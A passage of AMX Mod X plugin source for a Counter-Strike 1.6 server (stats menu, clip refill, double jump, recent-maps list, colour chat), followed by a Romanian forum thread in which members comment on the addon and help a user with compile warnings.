	menu_additem( HANDLE_MENU, STRING_TEMP, "5", 0 );
	
	static TeamKillString[16];
	AddCommas(STRING_STATS[ INT_STATS_TKS ], TeamKillString, 15);
	
	format( STRING_TEMP, charsmax( STRING_TEMP ), "\wTeam kills: \r%i", TeamKillString );
	menu_additem( HANDLE_MENU, STRING_TEMP, "6", 0 );
	
	static ShotString[16];
	AddCommas(STRING_STATS[ INT_STATS_SHOTS ], ShotString, 15);
	
	format( STRING_TEMP, charsmax( STRING_TEMP ), "\wShots: \r%i", ShotString );
	menu_additem( HANDLE_MENU, STRING_TEMP, "7", 0 );
	
	static HitString[16];
	AddCommas(STRING_STATS[ INT_STATS_HITS ], HitString, 15);
	
	format( STRING_TEMP, charsmax( STRING_TEMP ), "\wHits: \r%i", HitString );
	menu_additem( HANDLE_MENU, STRING_TEMP, "8", 0 );
	
	static DamageString[16];
	AddCommas(STRING_STATS[ INT_STATS_DAMAGE ], DamageString, 15);
	
	format( STRING_TEMP, charsmax( STRING_TEMP ), "\wDamage: \r%i", DamageString );
	menu_additem( HANDLE_MENU, STRING_TEMP, "9", 0 );
	
	static DefusionString[16];
	AddCommas(STRING_STATS2[ INT_STATS_BOMB_DEFUSIONS ], DefusionString, 15);
	
	format( STRING_TEMP, charsmax( STRING_TEMP ), "\wTotal defusions: \r%i", DefusionString );
	menu_additem( HANDLE_MENU, STRING_TEMP, "10", 0 );
	
	static BDString[16];
	AddCommas(STRING_STATS2[ INT_STATS_BOMB_DEFUSED ], BDString, 15);
	
	format( STRING_TEMP, charsmax( STRING_TEMP ), "\wBomb defused: \r%i", BDString );
	menu_additem( HANDLE_MENU, STRING_TEMP, "11", 0 );
	
	static BPString[16];
	AddCommas(STRING_STATS2[ INT_STATS_BOMB_PLANTS ], BPString, 15);
	
	format( STRING_TEMP, charsmax( STRING_TEMP ), "\wBomb plants: \r%i", BPString );
	menu_additem( HANDLE_MENU, STRING_TEMP, "12", 0 );
	
	static BEString[16];
	AddCommas(STRING_STATS2[ INT_STATS_BOMB_EXPLOSIONS ], BEString, 15);
	
	format( STRING_TEMP, charsmax( STRING_TEMP ), "\wBomb explosions: \r%i", BEString );
	menu_additem( HANDLE_MENU, STRING_TEMP, "13", 0 );
	
	static HDString[16];
	AddCommas(STRING_BODY[ INT_STATS_HIT_HEAD ], HDString, 15);
	
	format( STRING_TEMP, charsmax( STRING_TEMP ), "\wHead hits: \r%i", HDString );
	menu_additem( HANDLE_MENU, STRING_TEMP, "14", 0 );
	
	static CHString[16];
	AddCommas(STRING_BODY[ INT_STATS_HIT_CHEST ], CHString, 15);
	
	format( STRING_TEMP, charsmax( STRING_TEMP ), "\wChest hits: \r%i", CHString );
	menu_additem( HANDLE_MENU, STRING_TEMP, "15", 0 );
	
	static STString[16];
	AddCommas(STRING_BODY[ INT_STATS_HIT_STOMACH ], STString, 15);
	
	format( STRING_TEMP, charsmax( STRING_TEMP ), "\wStomach hits: \r%i", STString );
	menu_additem( HANDLE_MENU, STRING_TEMP, "16", 0 );
	
	static LFString[16];
	AddCommas(STRING_BODY[ INT_STATS_HIT_LEFTARM ], LFString, 15);
	
	format( STRING_TEMP, charsmax( STRING_TEMP ), "\wLeftarm hits: \r%i", LFString );
	menu_additem( HANDLE_MENU, STRING_TEMP, "17", 0 );
	
	static RHString[16];
	AddCommas(STRING_BODY[ INT_STATS_HIT_RIGHTARM ], RHString, 15);
	
	format( STRING_TEMP, charsmax( STRING_TEMP ), "\wRightarm hits: \r%i", RHString );
	menu_additem( HANDLE_MENU, STRING_TEMP, "18", 0 );
	
	static LHString[16];
	AddCommas(STRING_BODY[ INT_STATS_HIT_LEFTLEG ], LHString, 15);
	
	format( STRING_TEMP, charsmax( STRING_TEMP ), "\wLeftleg hits: \r%i", LHString );
	menu_additem( HANDLE_MENU, STRING_TEMP, "19", 0 );
	
	static RHDString[16];
	AddCommas(STRING_BODY[ INT_STATS_HIT_RIGHTLEG ], RHDString, 15);
	
	format( STRING_TEMP, charsmax( STRING_TEMP ), "\wRightleg hits: \r%i", RHDString );
	menu_additem( HANDLE_MENU, STRING_TEMP, "20", 0 );
	
	menu_setprop( HANDLE_MENU, 4, "Exit" );
	menu_setprop( HANDLE_MENU, 3, "Next" );
	menu_setprop( HANDLE_MENU, 2, "Back" );
	
	menu_display( INT_PLAYER, HANDLE_MENU, 0 );
	
	client_cmd( INT_PLAYER, "spk buttons/button9" );
}

public Event_CurWeapon( id )
{
    new iWeapon = read_data(2)
    if( !( NOCLIP_WPN_BS & (1<<iWeapon) ) )
    {
        fm_cs_set_weapon_ammo( get_pdata_cbase(id, 373) , g_MaxClipAmmo[ iWeapon ] )
    }
}

public client_PreThink(id)
{
	if(!is_user_alive(id)) return 0
	new nbut = get_user_button(id)
	new obut = get_user_oldbutton(id)
	if((nbut & IN_JUMP) && !(get_entity_flags(id) & FL_ONGROUND) && !(obut & IN_JUMP))
	{
		if(jumpnum[id] < 1)
		{
			dojump[id] = true
			jumpnum[id]++
			return 0
		}
	}
	if((nbut & IN_JUMP) && (get_entity_flags(id) & FL_ONGROUND))
	{
		jumpnum[id] = 0
		return 0
	}
	return 0
}

public client_PostThink(id)
{
	if(!is_user_alive(id)) return 0
	if(dojump[id] == true)
	{
		new Float:velocity[3]	
		entity_get_vector(id,EV_VEC_velocity,velocity)
		velocity[2] = random_float(265.0,285.0)
		entity_set_vector(id,EV_VEC_velocity,velocity)
		dojump[id] = false
		return 0
	}
	return 0
}	

public plugin_cfg() 
{
    new FisierHartiJucate[64]
    
    get_localinfo("amxx_configsdir", FisierHartiJucate, 63)
    format(FisierHartiJucate, 63, "%s/hartianterioare.txt", FisierHartiJucate)
    
    new Fisier = fopen(FisierHartiJucate, "rt")
    new i
    new Temporar[34]
    if(Fisier)
    {
        for(i=0; i<HartiMaxime; i++)
        {
            if(!feof(Fisier))
            {
                fgets(Fisier, Temporar, 33)
                replace(Temporar, 33, "^n", "")
                formatex(NumeHarti[i], 33, Temporar)
            }
        }
        fclose(Fisier)
    }
    
    delete_file(FisierHartiJucate)
    
    new CurrentMap[34]
    get_mapname(CurrentMap, 33)
    
    Fisier = fopen(FisierHartiJucate, "wt")
    if(Fisier)
    {
        formatex(Temporar, 33, "%s^n", CurrentMap)
        fputs(Fisier, Temporar)
        for(i=0; i<HartiMaxime-1; i++)
        {
            CurrentMap = NumeHarti[i]
            if(!CurrentMap[0])
                break
            formatex(Temporar, 33, "%s^n", CurrentMap)
            fputs(Fisier, Temporar)
        }
        fclose(Fisier)
    }
}

public HartiJucateCuSay(id) {

    new HartiAnterioare[192], n
    n += formatex(HartiAnterioare[n], 191-n, "Hartile jucate anterior sunt:")
    for(new i; i<HartiMaxime; i++)
    {
        if(!NumeHarti[i][0])
        {
            n += formatex(HartiAnterioare[n-1], 191-n+1, ".")
            break
        }
        n += formatex(HartiAnterioare[n], 191-n, " %s%s", NumeHarti[i], i+1 == HartiMaxime ? "." : ",")
    }
    
    
    ColorChat(id, HartiAnterioare)
    return 0
}

show_glow_message(const iPlayer, const cMessage[], iColor, Float:fX, Float:fY, Float:fDuration)
{
    message_begin(8, 51, _, iPlayer);
    write_byte(strlen(cMessage) + 31);
    write_byte(6);
    write_byte(2);
    write_long(iColor);
    write_long(_:fX);
    write_long(_:fY);
    write_long(_:0.1);
    write_long(_:1.5);
    write_long(_:fDuration);
    write_long(_:6.0);
    write_string(cMessage);
    message_end();
    
	return 0;
}

stock AddCommas(Num, Output[], Len)
{
   static Tmp[16], OutputPos = 0, NumPos = 0, NumLen = 0;

   OutputPos = NumPos = 0;

   if (Num < 0)
   {
      Output[OutputPos++] = '-';

      Num = abs(Num);
   }

   NumLen = num_to_str(Num, Tmp, charsmax(Tmp));

   if (NumLen <= 3)
      OutputPos += copy(Output[OutputPos], Len, Tmp);

   else
   {
      while (NumPos < NumLen && OutputPos < Len)
      {
         Output[OutputPos++] = Tmp[NumPos++];

         if (NumLen - NumPos && !((NumLen - NumPos) % 3))
            Output[OutputPos++] = ',';
      }

      Output[OutputPos] = '^0';
   }
}

ColorChat( iTarget, szMessage[ ], any: ... ) 
{
	static szBuffer[ 189 ];
	vformat( szBuffer, 188, szMessage, 3 );
	
	if( iTarget ) 
	{
		message_begin( MSG_ONE_UNRELIABLE, get_user_msgid( "SayText" ), _, iTarget );
		write_byte( iTarget );
		write_string( szBuffer );
		message_end( );
	} 
	else 
	{
		static iPlayers[ 32 ], iNum, i, iPlayer;
		get_players( iPlayers, iNum, "c" );
		
		for( i = 0; i < iNum; i++ ) {
			iPlayer = iPlayers[ i ];
			
			message_begin( MSG_ONE_UNRELIABLE, get_user_msgid( "SayText" ), _, iPlayer );
			write_byte( iPlayer );
			write_string( szBuffer );
			message_end( );
		}
	}
}
o copie proasta nereusita
User avatar
Rainq
Super moderator
Super moderator
Posts: 2700
Joined: 21 Jul 2015, 18:50
Detinator Steam: Da
CS Status: Busy
Detinator server CS: ---
Reputatie: Super Moderator
Fost detinator ZM.eXtreamCS.COM
Fost Membru Club eXtreamCS (trei luni)
Fond eXtream: 0
Location: Bucuresti
Has thanked: 5 times
Been thanked: 23 times
Contact:

27 Sep 2019, 16:29

o intrebare la care sunt curios eu si multi altii ,pica la 32/32?
Image
Leul si tigru sunt mai puternici ca lupul,dar lupul la circ nu participa.
User avatar
dim2k
Membru, skill +1
Membru, skill +1
Posts: 110
Joined: 16 Dec 2016, 04:03
Detinator Steam: Da
CS Status: INACTIV
Detinator server CS: da
SteamID: coolmr
Fond eXtream: 0
Location: romania
Been thanked: 2 times

27 Sep 2019, 16:37

Rainq wrote:
27 Sep 2019, 16:29
o intrebare la care sunt curios eu si multi altii ,pica la 32/32?
nu cred,pe xfakeplayer a tinut 32/32
User avatar
L E V I N
Scripter eXtreamCS
Scripter eXtreamCS
Posts: 2455
Joined: 24 Aug 2011, 11:24
Detinator Steam: Da
CS Status:
Detinator server CS: ☯∴
SteamID: riseofevo
Reputatie: Scripter eXtreamCS
Nume anterior: Adryyy
Location: ҳ̸Ҳ̸ҳ
Has thanked: 36 times
Been thanked: 375 times
Contact:

27 Sep 2019, 18:21

vrei să spui că ai făcut tu shaorma asta de la 0? oh..hattrick rip
Nu fac nimic contra cost! Faceți cerere bine detaliată aici, pe forum. Nu-mi mai dați add pe Steam doar pentru a mă avea în lista de prieteni.
Am cont și activez doar aici! Aveți grijă la cei ce încearcă să mă copieze..Puteți lua legătura cu mine dacă aveți o problemă/nelămurire în acest caz.
În cazul în care utilizați ceva din addonsurile postate de mine aici, e bine să fiți la curent cu modificările aduse unor plugine, aici.
User avatar
dim2k
Membru, skill +1
Membru, skill +1
Posts: 110
Joined: 16 Dec 2016, 04:03
Detinator Steam: Da
CS Status: INACTIV
Detinator server CS: da
SteamID: coolmr
Fond eXtream: 0
Location: romania
Been thanked: 2 times

27 Sep 2019, 20:52

L E V I N wrote:
27 Sep 2019, 18:21
vrei să spui că ai făcut tu shaorma asta de la 0? oh..hattrick rip
este doar un mode , oricine poate sa-l faca
Panther21
Membru, skill 0
Membru, skill 0
Posts: 6
Joined: 12 Oct 2019, 15:05
Detinator Steam: Nu
CS Status: Citesc forumul eXtreamCS.com...!
Fond eXtream: 0
Has thanked: 1 time

13 Oct 2019, 16:22

i want help i just try to compile The ZPA62.SMA
its Problem in our Scripting
Image
help me to fix
User avatar
dim2k
Membru, skill +1
Membru, skill +1
Posts: 110
Joined: 16 Dec 2016, 04:03
Detinator Steam: Da
CS Status: INACTIV
Detinator server CS: da
SteamID: coolmr
Fond eXtream: 0
Location: romania
Been thanked: 2 times

13 Oct 2019, 16:54

Panther21 wrote:
13 Oct 2019, 16:22
i want help i just try to compile The ZPA62.SMA
its Problem in our Scripting
Image
help me to fix
has no problem, those mismatch tags appear because of the gag
Panther21
Membru, skill 0
Membru, skill 0
Posts: 6
Joined: 12 Oct 2019, 15:05
Detinator Steam: Nu
CS Status: Citesc forumul eXtreamCS.com...!
Fond eXtream: 0
Has thanked: 1 time

13 Oct 2019, 17:07

dim2k wrote:
13 Oct 2019, 16:54
Panther21 wrote:
13 Oct 2019, 16:22
i want help i just try to compile The ZPA62.SMA
its Problem in our Scripting
Image
help me to fix
has no problem, those mismatch tags appear because of the gag
no problem plugin are running normally?
Image
in sma want remove ; or no?
i mean in };
Post Reply

Return to “Addon-uri”

  • Information
  • Who is online

    Users browsing this forum: No registered users and 2 guests